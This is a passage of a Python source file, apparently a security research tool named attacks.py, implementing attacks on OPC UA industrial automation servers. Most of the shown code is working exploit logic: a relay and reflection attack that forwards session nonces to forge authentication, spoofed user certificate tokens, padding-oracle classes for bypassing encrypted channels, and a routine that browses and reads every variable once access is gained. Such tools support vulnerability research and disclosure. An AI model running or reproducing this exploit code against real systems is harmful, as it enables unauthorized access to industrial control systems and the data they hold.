-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathattacks.py
More file actions
2052 lines (1779 loc) · 86 KB
/
attacks.py
File metadata and controls
2052 lines (1779 loc) · 86 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import requests
requests.packages.urllib3.disable_warnings()
from Crypto.PublicKey.RSA import RsaKey
from messages import *
from message_fields import *
from typing import *
from crypto import *
from socket import socket, create_connection, create_server, SHUT_RDWR
from random import Random, randint
from enum import Enum, auto
from binascii import hexlify, unhexlify
from base64 import b64encode, b64decode
from datetime import datetime, timedelta
from pathlib import Path
from decimal import Decimal
from io import BytesIO
import sys, os, itertools, re, math, hashlib, json, time, dataclasses
import keepalive
# Logging and errors.
def log(msg : str):
print(f'[*] {msg}', file=sys.stderr)
def log_success(msg : str):
print(f'[+] {msg}')
# Integer division that rounds the result up.
def ceildiv(a,b):
return a // b + (a % b and 1)
# Self signed certificate template (DER encoded) used for path injection attack.
SELFSIGNED_CERT_TEMPLATE = b64decode('MIIERDCCAyygAwIBAgIUcC5NBws70ghGv3jjkdIBjlcDRgMwDQYJKoZIhvcNAQELBQAwXTEUMBIGCgmSJomT8ixkARkWBHRlc3QxFzAVBgNVBAoMDk9QQyBGb3VuZGF0aW9uMRAwDgYDVQQIDAdBcml6b25hMQswCQYDVQQGEwJVUzENMAsGA1UEAwwEdGVzdDAeFw0yNDAzMTkxNDAwMTZaFw0yNTAzMTkxNDAwMTZaMF0xFDASBgoJkiaJk/IsZAEZFgR0ZXN0MRcwFQYDVQQKDA5PUEMgRm91bmRhdGlvbjEQMA4GA1UECAwHQXJpem9uYTELMAkGA1UEBhMCVVMxDTALBgNVBAMMBHRlc3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDGw8ewnzA+09uDx3zJd96FHLmzX2JhmTHdelPQgFz1UQxT1JLdjZv8uIpV5chcl/fvRga9kWzNS3YtADyG0LfmGfA6M5j/sfUatfOBEe1UJEO3TFpvRaeQd9KIIWk9XR5ue0bihR5Wk59f5jvo/RY4J/t3rWUny7R3HXrWxSlY0iskr3+sRkRIcYqqHehsCtJ2k1ZNUcN1HHV+FicRuf695Os1aoXBi/ViX1A4/3UmOrsHCXThj/4zEfbG5puJHBf5SMbjBjoZu7uCrYA53r/Wt3zLAnxKdbJjZ9nJP0x2pyzwd19JtqGqvKICdG/NKArjVxjjY2jqzGN/ExWB2mUbAgMBAAGjgfswgfgwDAYDVR0TAQH/BAIwADAOBgNVHQ8BAf8EBAMCAvQwIAYDVR0lAQH/BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMA8GA1UdEQQIMAaGBHRlc3QwgYUGA1UdIwR+MHyAFIHIizG1yMWN1z6tsU9VYpeAyqoloWGkXzBdMRQwEgYKCZImiZPyLGQBGRYEdGVzdDEXMBUGA1UECgwOT1BDIEZvdW5kYXRpb24xEDAOBgNVBAgMB0FyaXpvbmExCzAJBgNVBAYTAlVTMQ0wCwYDVQQDDAR0ZXN0ggF7MB0GA1UdDgQWBBSByIsxtcjFjdc+rbFPVWKXgMqqJTANBgkqhkiG9w0BAQsFAAOCAQEAb9vxdW04fyXxjdNEHY5R4vDTNzyK2BIwb264tgrAtmAohXL4QqyXFxF6NcnpRv9n2iGhWLUpvE/LbGmU0s7Y8QmHHcngpwRkmasUlEUut3h9cZ9xshPrkVvNTY+SpSCzrNTL3dKv5AN04we6GZAPAhSfNeFKy80qQRxQYvuqL+/FqVCqjtLhQLxH8KQDtklCcDJh0YGgxesO7Zc1QhgFXg/YzcNEb3htgETpe281LCAxWJbhKqY+DuIeR/68halfxfryf10TRGcYYJG6H31jA69EJnaX3FwP592Gr5PY53VCuxQySOTUUKLkE4EdjRwA5SL8HabrCAebscOdwAeVLA==')
TEMPLATE_APP_URI = 'test'
# Fixed clientNonce value used within spoofed OpenSecureChannel requests.
SPOOFED_OPN_NONCE = unhexlify('1337133713371337133713371337133713371337133713371337133713371337')
# Thrown when an attack was not possible due to a configuration that is not vulnerable to it (other exceptions indicate
# unexpected errors, which can have all kinds of causes).
class AttackNotPossible(Exception):
pass
# Protocols supported for current attacks.
class TransportProtocol(Enum):
TCP_BINARY = auto()
HTTPS = auto()
def proto_scheme(protocol : TransportProtocol) -> str:
return {
TransportProtocol.TCP_BINARY: "opc.tcp",
TransportProtocol.HTTPS : "https",
}[protocol]
def parse_endpoint_url(url):
m = re.match(r'(?P<scheme>[\w.]+)://(?P<host>[^:/]+):(?P<port>\d+)', url)
if not m:
raise Exception(f'Don\'t know how to process endpoint url: {url}')
else:
protos = {
"opc.tcp": TransportProtocol.TCP_BINARY,
"https" : TransportProtocol.HTTPS,
"opc.https" : TransportProtocol.HTTPS,
}
if m.group('scheme') not in protos:
raise Exception(f'Unsupported protocol: "{m.group("scheme")}" in URL {url}.')
return (protos[m.group('scheme')], *m.group('host', 'port'))
# Common routines.
# Send an OPC request message and receive a response.
def opc_exchange(sock : socket, request : OpcMessage, response_obj : Optional[OpcMessage] = None) -> OpcMessage:
with sock.makefile('rwb') as sockio:
sockio.write(request.to_bytes())
sockio.flush()
response = response_obj or request.__class__()
response.from_bytes(sockio)
return response
# Variant that supports response chunking. Yields each chunk as a separate response object.
def chunkable_opc_exchange(sock : socket, request : OpcMessage, response_obj : Optional[OpcMessage] = None) -> Iterator[OpcMessage]:
with sock.makefile('rwb') as sockio:
sockio.write(request.to_bytes())
sockio.flush()
done = False
while not done:
response = response_obj or request.__class__()
done = response.from_bytes(sockio, allow_chunking=True)
yield response
# Sets up a binary TCP connection, does a plain hello and simply ignores the server's size and chunking wishes.
def connect_and_hello(url : str) -> socket:
proto, host, port = parse_endpoint_url(url)
assert proto == TransportProtocol.TCP_BINARY
sock = create_connection((host,port))
opc_exchange(sock, HelloMessage(
version=0,
receiveBufferSize=2**16,
sendBufferSize=2**16,
maxMessageSize=2**24,
maxChunkCount=2**8,
endpointUrl=url,
), AckMessage())
return sock
def simple_requestheader(authToken : NodeId = NodeId(0,0)) -> requestHeader.Type:
return requestHeader.create(
authenticationToken=authToken,
timeStamp=datetime.now(),
requestHandle=0,
returnDiagnostics=0,
auditEntryId=None,
timeoutHint=0,
additionalHeader=None,
)
@dataclass
class ChannelState:
sock : socket
channel_id: int
token_id : int
msg_counter : int
securityMode : MessageSecurityMode
crypto: Optional[SessionCrypto]
# Attempt to start a "Secure" channel with no signing or encryption.
def unencrypted_opn(sock: socket) -> ChannelState:
reply = opc_exchange(sock, OpenSecureChannelMessage(
secureChannelId=0,
securityPolicyUri=SecurityPolicy.NONE,
senderCertificate=None,
receiverCertificateThumbprint=None,
encodedPart=encodedConversation.to_bytes(encodedConversation.create(
sequenceNumber=1,
requestId=1,
requestOrResponse=openSecureChannelRequest.to_bytes(openSecureChannelRequest.create(
requestHeader=simple_requestheader(),
clientProtocolVersion=0,
requestType=SecurityTokenRequestType.ISSUE,
securityMode=MessageSecurityMode.NONE,
clientNonce=None,
requestedLifetime=3600000,
))
))
))
convrep, _ = encodedConversation.from_bytes(reply.encodedPart)
resp, _ = openSecureChannelResponse.from_bytes(convrep.requestOrResponse)
return ChannelState(
sock=sock,
channel_id=resp.securityToken.channelId,
token_id=resp.securityToken.tokenId,
msg_counter=2,
securityMode=MessageSecurityMode.NONE,
crypto=None,
)
# Do an OPN protocol handshake with a certificate and private key.
def authenticated_opn(sock : socket, endpoint : endpointDescription.Type, client_certificate : bytes, privkey : RsaKey) -> ChannelState:
sp = endpoint.securityPolicyUri
pk = certificate_publickey(endpoint.serverCertificate)
if sp == SecurityPolicy.NONE:
return unencrypted_opn(sock)
else:
client_nonce = os.urandom(32)
plaintext = encodedConversation.to_bytes(encodedConversation.create(
sequenceNumber=1,
requestId=1,
requestOrResponse=openSecureChannelRequest.to_bytes(openSecureChannelRequest.create(
requestHeader=simple_requestheader(),
clientProtocolVersion=0,
requestType=SecurityTokenRequestType.ISSUE,
securityMode=endpoint.securityMode,
clientNonce=client_nonce,
requestedLifetime=3600000,
))
))
msg = OpenSecureChannelMessage(
secureChannelId=0,
securityPolicyUri=sp,
senderCertificate=client_certificate,
receiverCertificateThumbprint=certificate_thumbprint(endpoint.serverCertificate),
encodedPart=plaintext
)
# Apply signing and encryption.
msg.sign_and_encrypt(
signer=lambda data: rsa_sign(sp, privkey, data),
encrypter=lambda ptext: rsa_ecb_encrypt(sp, pk, ptext),
plainblocksize=rsa_plainblocksize(sp, pk),
cipherblocksize=pk.size_in_bytes(),
sigsize=pk.size_in_bytes(),
)
replymsg = opc_exchange(sock, msg)
# Immediately start parsing plaintext, ignoring padding and signature.
convrep, _ = encodedConversation.from_bytes(rsa_ecb_decrypt(sp, privkey, replymsg.encodedPart))
resp, _ = openSecureChannelResponse.from_bytes(convrep.requestOrResponse)
return ChannelState(
sock=sock,
channel_id=resp.securityToken.channelId,
token_id=resp.securityToken.tokenId,
msg_counter=2,
securityMode=endpoint.securityMode,
crypto=deriveKeyMaterial(sp, client_nonce, resp.serverNonce)
)
# In case a response object has a header. Check it for error codes.
def check_status(response : NamedTuple):
if hasattr(response, 'responseHeader') and response.responseHeader.serviceResult & 0x80000000:
raise ServerError(response.responseHeader.serviceResult, f'Bad status code.')
# Exchange a conversation message, once the channel has been established by the OPN exchange.
def session_exchange(channel : ChannelState,
reqfield : EncodableObjectField, respfield : EncodableObjectField,
**req_data) -> NamedTuple:
msg = ConversationMessage(
secureChannelId=channel.channel_id,
tokenId=channel.token_id,
encodedPart=encodedConversation.to_bytes(encodedConversation.create(
sequenceNumber=channel.msg_counter,
requestId=channel.msg_counter,
requestOrResponse=reqfield.to_bytes(reqfield.create(**req_data)),
))
)
crypto = channel.crypto
assert crypto or channel.securityMode == MessageSecurityMode.NONE
if channel.securityMode == MessageSecurityMode.SIGN_AND_ENCRYPT:
msg.sign_and_encrypt(
signer=lambda data: sha_hmac(crypto.policy, crypto.clientKeys.signingKey, data),
encrypter=lambda ptext: aes_cbc_encrypt(crypto.clientKeys.encryptionKey, crypto.clientKeys.iv, ptext),
plainblocksize=16,
cipherblocksize=16,
sigsize=macsize(crypto.policy),
)
elif channel.securityMode == MessageSecurityMode.SIGN:
msg.sign(lambda data: sha_hmac(crypto.policy, crypto.clientKeys.signingKey, data), macsize(crypto.policy))
# Do the exchange.
chunks = [reply.encodedPart for reply in chunkable_opc_exchange(channel.sock, msg)]
# Decrypt/unsign if needed.
respbytes = b''
for chunk in chunks:
if channel.securityMode == MessageSecurityMode.SIGN_AND_ENCRYPT:
# Decrypt and unpad, while simply ignoring MAC.
decrypted = aes_cbc_decrypt(crypto.serverKeys.encryptionKey, crypto.serverKeys.iv, chunk)
unsigned = decrypted[:-macsize(crypto.policy)]
decoded = pkcs7_unpad(unsigned, 16)[:-1] if not unsigned.endswith(b'\x00') else unsigned[:-1]
elif channel.securityMode == MessageSecurityMode.SIGN:
# Just strip MAC.
decoded = chunk[:-macsize(crypto.policy)]
else:
assert(channel.securityMode == MessageSecurityMode.NONE)
decoded = chunk
convo, _ = encodedConversation.from_bytes(decoded)
respbytes += convo.requestOrResponse
# Increment the message counter.
channel.msg_counter += 1
# Parse the response.
resp, _ = respfield.from_bytes(respbytes)
check_status(resp)
return resp
# OPC exchange over HTTPS.
# https://reference.opcfoundation.org/Core/Part6/v105/docs/7.4
def https_exchange(
url : str, nonce_policy : Optional[SecurityPolicy],
reqfield : EncodableObjectField, respfield : EncodableObjectField,
**req_data
) -> NamedTuple:
headers = {
'Content-Type': 'application/octet-stream',
}
if nonce_policy is not None:
headers['OPCUA-SecurityPolicy'] = f'http://opcfoundation.org/UA/SecurityPolicy#{nonce_policy.value}'
if url.startswith('opc.http'):
url = url[4:]
reqbody = reqfield.to_bytes(reqfield.create(**req_data))
http_resp = requests.post(url, verify=False, headers=headers, data=reqbody)
resp = respfield.from_bytes(http_resp.content)[0]
check_status(resp)
return resp
# Picks either session_exchange or https_exchanged based on channel type.
def generic_exchange(
chan_or_url : ChannelState | str, nonce_policy : Optional[SecurityPolicy],
reqfield : EncodableObjectField, respfield : EncodableObjectField,
**req_data
) -> NamedTuple:
if type(chan_or_url) == ChannelState:
return session_exchange(chan_or_url, reqfield, respfield, **req_data)
else:
assert type(chan_or_url) == str and parse_endpoint_url(chan_or_url)[0] == TransportProtocol.HTTPS
return https_exchange(chan_or_url, nonce_policy, reqfield, respfield, **req_data)
# Request endpoint information from a server.
def get_endpoints(ep_url : str) -> List[endpointDescription.Type]:
try:
if ep_url.startswith('opc.tcp://'):
with connect_and_hello(ep_url) as sock:
chan = unencrypted_opn(sock)
resp = session_exchange(chan, getEndpointsRequest, getEndpointsResponse,
requestHeader=simple_requestheader(),
endpointUrl=ep_url,
localeIds=[],
profileUris=[],
)
else:
assert(parse_endpoint_url(ep_url)[0] == TransportProtocol.HTTPS)
resp = https_exchange(ep_url, None, getEndpointsRequest, getEndpointsResponse,
requestHeader=simple_requestheader(),
endpointUrl=ep_url,
localeIds=[],
profileUris=[],
)
return resp.endpoints
except Exception as ex:
if ep_url.endswith('/discovery'):
raise ex
else:
# Try again while adding /discovery to URL.
return get_endpoints(f'{ep_url.rstrip("/")}/discovery')
# Performs the relay attack. Channels can be either OPC sessions or HTTPS URLs.
def execute_relay_attack(
imp_chan : ChannelState | str, imp_endpoint : endpointDescription.Type,
login_chan : ChannelState | str, login_endpoint : endpointDescription.Type,
prefer_certauth : bool = False
) -> NodeId:
def csr(chan, client_ep, server_ep, nonce):
return generic_exchange(chan, server_ep.securityPolicyUri, createSessionRequest, createSessionResponse,
requestHeader=simple_requestheader(),
clientDescription=client_ep.server._replace(applicationUri=applicationuri_from_cert(client_ep.serverCertificate)), # Prosys needs this.
serverUri=server_ep.server.applicationUri,
endpointUrl=server_ep.endpointUrl,
sessionName=None,
clientNonce=nonce,
clientCertificate=client_ep.serverCertificate,
requestedSessionTimeout=600000,
maxResponseMessageSize=2**24,
)
# Send CSR to login_endpoint, pretending we're imp_endpoint. Use arbitrary nonce.
log(f'Creating first session on login endpoint ({login_endpoint.endpointUrl})')
createresp1 = csr(login_chan, imp_endpoint, login_endpoint, os.urandom(32))
# Now send the server nonce of this channel as a client nonce on the other channel.
log(f'Got server nonce: {hexlify(createresp1.serverNonce)}')
log(f'Forwarding nonce to second session on impersonate endpoint ({imp_endpoint.endpointUrl})')
createresp2 = csr(imp_chan, login_endpoint, imp_endpoint, createresp1.serverNonce)
log(f'Got signature over nonce: {hexlify(createresp2.serverSignature.signature)}')
if createresp2.serverSignature.signature is None:
raise AttackNotPossible('Server did not sign nonce. Perhaps certificate was rejected, or an OPN attack may be needed first.')
# Make a token with an anonymous or certificate-based user identity policy.
anon_policies = [p for p in login_endpoint.userIdentityTokens if p.tokenType == UserTokenType.ANONYMOUS]
cert_policies = [p for p in login_endpoint.userIdentityTokens if p.tokenType == UserTokenType.CERTIFICATE]
if anon_policies and not (prefer_certauth and cert_policies):
usertoken = anonymousIdentityToken.create(policyId=anon_policies[0].policyId)
usersig = signatureData.create(algorithm=None,signature=None)
elif cert_policies:
log('User certificate required. Reusing the server certificate to forge user token.')
usertoken = x509IdentityToken.create(
policyId=cert_policies[0].policyId,
certificateData=imp_endpoint.serverCertificate
)
# Simply reuse the clientSignature, since we're using the same cert and nonce for that.
usersig = createresp2.serverSignature
else:
raise AttackNotPossible('Endpoint does not allow either anonymous or certificate-based authentication.')
# Now activate the first session using the signature from the second session.
log(f'Using signature log in to {login_endpoint.endpointUrl}.')
generic_exchange(login_chan, login_endpoint.securityPolicyUri, activateSessionRequest, activateSessionResponse,
requestHeader=simple_requestheader(createresp1.authenticationToken),
clientSignature=createresp2.serverSignature,
clientSoftwareCertificates=[],
localeIds=[],
userIdentityToken=usertoken,
userTokenSignature=usersig,
)
# Return auth token if succesful.
return createresp1.authenticationToken
# Demonstrate access by recursively browsing nodes. Variables are read.
# Based on https://reference.opcfoundation.org/Core/Part4/v104/docs/5.8.2
def demonstrate_access(chan : ChannelState | str, authToken : NodeId, policy : SecurityPolicy = None):
max_children = 100
recursive_nodeclasses = {NodeClass.OBJECT}
read_nodeclasses = {NodeClass.VARIABLE}
def browse_from(root, depth):
bresp = generic_exchange(chan, policy, browseRequest, browseResponse,
requestHeader=simple_requestheader(authToken),
view=viewDescription.default_value,
requestedMaxReferencesPerNode=max_children,
nodesToBrowse=[browseDescription.create(
nodeId=root,
browseDirection=BrowseDirection.FORWARD,
referenceTypeId=NodeId(0,0), #NodeId(0, 33),
includeSubtypes=True,
nodeClassMask=0x00, # All classes
resultMask=0x3f, # All results
)],
)
tree_prefix = ' ' * (depth - 1) + '|'
for result in bresp.results:
for ref in result.references:
if ref.nodeClass in recursive_nodeclasses:
# Keep browsing recursively.
log_success(tree_prefix + f'+ {ref.displayName.text} ({ref.nodeClass.name})')
browse_from(ref.nodeId.nodeId, depth + 1)
elif ref.nodeClass in read_nodeclasses:
# Read current variable value. For the sake of simplicity do one at a time.
try:
readresp = generic_exchange(chan, policy, readRequest, readResponse,
requestHeader=simple_requestheader(authToken),
maxAge=0,
timestampsToReturn=TimestampsToReturn.BOTH,
nodesToRead=[readValueId.create(
nodeId=ref.nodeId.nodeId,
attributeId=0x0d, # Request value
indexRange=None,
dataEncoding=QualifiedNameField().default_value,
)],
)
for r in readresp.results:
if type(r.value) == list:
log_success(tree_prefix + f'+ {ref.displayName.text} (Array):')
for subval in r.value:
log_success(' ' + tree_prefix + f'+ {ref.displayName.text}: "{subval}"')
else:
log_success(tree_prefix + f'- {ref.displayName.text}: "{r.value}"')
except UnsupportedFieldException as ex:
log_success(tree_prefix + f'- {ref.displayName.text}: <{ex.fieldname}>')
except DecodeError as ex:
log_success(tree_prefix + f'- {ref.displayName.text}: <decode error> ("{ex}")')
except Exception as ex:
log_success(tree_prefix + f'- {ref.displayName.text}: <<{ex}>> ("{ex}")')
else:
log_success(tree_prefix + f'- {ref.displayName.text} ({ref.nodeClass.name})')
if len(bresp.results) >= max_children:
log_success(tree_prefix + '- ...')
log('Trying to browse data via authenticated channel.')
log('Tree: ')
log_success('+ <root>')
browse_from(NodeId(0, 84), 1)
log('Finished browsing.')
# Reflection attack: log in to a server with its own identity.
def reflect_attack(url : str, demo : bool, try_opn_oracle : bool, try_password_oracle : bool, cache_file : Path, timing_threshold : float, timing_expansion : int):
proto, host, port = parse_endpoint_url(url)
log(f'Attempting reflection attack against {url}')
endpoints = get_endpoints(url)
log(f'Server advertises {len(endpoints)} endpoints.')
# Try to attack against the first endpoint with an HTTPS transport and a non-None security policy.
https_eps = [ep for ep in endpoints if ep.securityPolicyUri != SecurityPolicy.NONE and ep.transportProfileUri.endswith('https-uabinary')]
if https_eps:
target = https_eps[0]
tproto, thost, tport = parse_endpoint_url(target.endpointUrl)
assert tproto == TransportProtocol.HTTPS
url = target.endpointUrl
log(f'Targeting {url} with {target.securityPolicyUri.name} security policy.')
token = execute_relay_attack(url, target, url, target)
log_success(f'Attack succesfull! Authenticated session set up with {url}.')
if demo:
demonstrate_access(url, token, target.securityPolicyUri)
elif try_opn_oracle or try_password_oracle:
tcp_eps = [ep for ep in endpoints if ep.securityPolicyUri != SecurityPolicy.NONE and ep.securityPolicyUri != SecurityPolicy.AES256_SHA256_RSAPSS and ep.transportProfileUri.endswith('uatcp-uasc-uabinary')]
if tcp_eps:
# Decryption padding oracle is a bit faster when plaintext is already pkcs#1, so prefer that.
tcp_eps.sort(key=lambda ep: ep.securityPolicyUri != SecurityPolicy.BASIC128RSA15)
target = tcp_eps[0]
tproto, thost, tport = parse_endpoint_url(target.endpointUrl)
assert tproto == TransportProtocol.TCP_BINARY
log(f'No HTTPS endpoints. Trying to bypass secure channel on {target.endpointUrl} via padding oracle.')
chan = bypass_opn(target, target, try_opn_oracle, try_password_oracle, cache_file, timing_threshold, timing_expansion)
log(f'Trying reflection attack (if channel is still alive).')
try:
token = execute_relay_attack(chan, target, chan, target)
except ServerError as err:
if err.errorcode == 0x80870000:
raise AttackNotPossible('Server returning BadSecureChannelTokenUnknown error. Probably means that the channel expired during the time needed for the padding oracle attack.')
elif err.errorcode == 0x807f0000:
raise AttackNotPossible('Server returning BadTcpSecureChannelUnknown error. Probably means that the channel expired during the time needed for the padding oracle attack.')
else:
raise err
log_success(f'Attack succesfull! Authenticated session set up with {target.endpointUrl}.')
if demo:
demonstrate_access(chan, token, target.securityPolicyUri)
else:
raise AttackNotPossible('No endpoints applicable (TCP/HTTPS transport and a non-None security policy are required; also, support for Aes256_Sha256_RsaPss is currently not implemented yet).')
else:
raise AttackNotPossible('Server does not support HTTPS endpoint (with non-None security policy). Try with --bypass-opn instead.')
def relay_attack(source_url : str, target_url : str, demo : bool):
log(f'Attempting relay from {source_url} to {target_url}')
seps = get_endpoints(source_url)
log(f'Listed {len(seps)} endpoints from {source_url}.')
teps = get_endpoints(target_url)
log(f'Listed {len(teps)} endpoints from {target_url}.')
# Prioritize HTTPS targets with a non-NONE security policy.
teps.sort(key=lambda ep: [not ep.transportProfileUri.endswith('https-uabinary'), ep.securityPolicyUri == SecurityPolicy.NONE])
tmpsock = None
prefercert = False
try:
for sep, tep in itertools.product(seps, teps):
# Source must be HTTPS and non-NONE.
if sep.transportProfileUri.endswith('https-uabinary') and sep.securityPolicyUri != SecurityPolicy.NONE:
oraclechan = sep.endpointUrl
supports_usercert = any(p.tokenType == UserTokenType.CERTIFICATE for p in tep.userIdentityTokens)
if tep.transportProfileUri.endswith('https-uabinary'):
# HTTPS target.
mainchan = tep.endpointUrl
elif tep.transportProfileUri.endswith('uatcp-uasc-uabinary') and tep.securityPolicyUri == SecurityPolicy.NONE and supports_usercert:
# When only a TCP target is available we can still try to spoof a user cert.
tmpsock = connect_and_hello(tep.endpointUrl)
mainchan = unencrypted_opn(tmpsock)
prefercert = True
else:
continue
log(f'Trying endpoints {sep.endpointUrl} ({sep.securityPolicyUri.name})-> {tep.endpointUrl} ({tep.securityPolicyUri.name})')
token = execute_relay_attack(oraclechan, sep, mainchan, tep, prefercert)
log_success(f'Attack succesfull! Authenticated session set up with {tep.endpointUrl}.')
if demo:
demonstrate_access(mainchan, token, tep.securityPolicyUri)
return
raise AttackNotPossible('TODO: implement --bypass-opn for relay attack.')
except ServerError as err:
if err.errorcode == 0x80550000 and target_url.startswith('opc.tcp'):
raise AttackNotPossible('Security policy rejected by server. Perhaps user authentication over NONE channel is blocked.')
else:
raise err
finally:
if tmpsock:
tmpsock.shutdown(SHUT_RDWR)
tmpsock.close()
class PaddingOracle(ABC):
def __init__(self, endpoint : endpointDescription.Type):
self._endpoint = endpoint
self._active = False
self._has_timed_out = False
@abstractmethod
def _setup(self):
...
@abstractmethod
def _cleanup(self):
...
@abstractmethod
def _attempt_query(self, ciphertext : bool) -> bool:
...
# Pick an applicable and preferred endpoint.
@classmethod
@abstractmethod
def pick_endpoint(clazz, endpoints : List[endpointDescription.Type]) -> Optional[endpointDescription.Type]:
...
def query(self, ciphertext : bytes):
if self._active and not self._has_timed_out:
try:
return self._attempt_query(ciphertext)
except KeyboardInterrupt as ex:
# Don't retry when user CTRL+C's.
raise ex
except (TimeoutError, ConnectionResetError):
# Stop reusing connections once a timeout or connection reset has happened once.
self._has_timed_out = True
except:
# On any misc. exception, assume the connection is broken and reset it.
try:
self._cleanup()
except:
pass
self._setup()
self._active = True
return self._attempt_query(ciphertext)
# For some reason, one implementation leaves the TCP connection open after failure but stops responding. Put a
# timeout on the socket (kinda arbitrarily picked 10 seconds) to cause a breaking exception when this happens.
PO_SOCKET_TIMEOUT = 10
class OPNPaddingOracle(PaddingOracle):
def _setup(self):
self._socket = connect_and_hello(self._endpoint.endpointUrl)
self._msg = OpenSecureChannelMessage(
secureChannelId=0,
securityPolicyUri=SecurityPolicy.BASIC128RSA15,
senderCertificate=self._endpoint.serverCertificate,
receiverCertificateThumbprint=certificate_thumbprint(self._endpoint.serverCertificate),
encodedPart=b''
)
self._socket.settimeout(PO_SOCKET_TIMEOUT)
def _cleanup(self):
self._socket.shutdown(SHUT_RDWR)
self._socket.close()
def _attempt_query(self, ciphertext):
try:
self._msg.encodedPart = ciphertext
opc_exchange(self._socket, self._msg)
return True
except ServerError as err:
if err.errorcode == 0x80580000:
return True
elif err.errorcode == 0x80130000:
return False
elif err.errorcode == 0x80010000:
# Prosys specific oracle.
return 'block incorrect' not in err.reason
else:
raise err
@classmethod
def pick_endpoint(clazz, endpoints):
return max(
(ep for ep in endpoints if ep.transportProfileUri.endswith('uatcp-uasc-uabinary')),
key=lambda ep: ep.securityPolicyUri == SecurityPolicy.BASIC128RSA15,
default=None
)
class PasswordPaddingOracle(PaddingOracle):
def __init__(self,
endpoint : endpointDescription.Type,
goodpadding_errors = [0x80200000, 0x80130000],
badpadding_errors = [0x80210000, 0x801f0000, 0x80b00000],
):
super().__init__(endpoint)
self._policyId = self._preferred_tokenpolicy(endpoint).policyId
self._goodpad = goodpadding_errors
self._badpad = badpadding_errors
@classmethod
def _preferred_tokenpolicy(_, endpoint):
policies = sorted(endpoint.userIdentityTokens, reverse=True,
key=lambda t: (
t.tokenType == UserTokenType.USERNAME,
t.securityPolicyUri == SecurityPolicy.BASIC128RSA15,
t.securityPolicyUri is None or t.securityPolicyUri == SecurityPolicy.NONE,
)
)
if policies and policies[0].tokenType == UserTokenType.USERNAME:
return policies[0]
else:
return None
def _setup(self):
proto, _, _ = parse_endpoint_url(self._endpoint.endpointUrl)
if proto == TransportProtocol.TCP_BINARY:
sock = connect_and_hello(self._endpoint.endpointUrl)
self._chan = unencrypted_opn(sock)
else:
assert proto == TransportProtocol.HTTPS
self._chan = self._endpoint.endpointUrl
# Just reflect session data during CreateSession.
sresp = generic_exchange(self._chan, SecurityPolicy.NONE, createSessionRequest, createSessionResponse,
requestHeader=simple_requestheader(),
clientDescription=self._endpoint.server,
serverUri=self._endpoint.server.applicationUri,
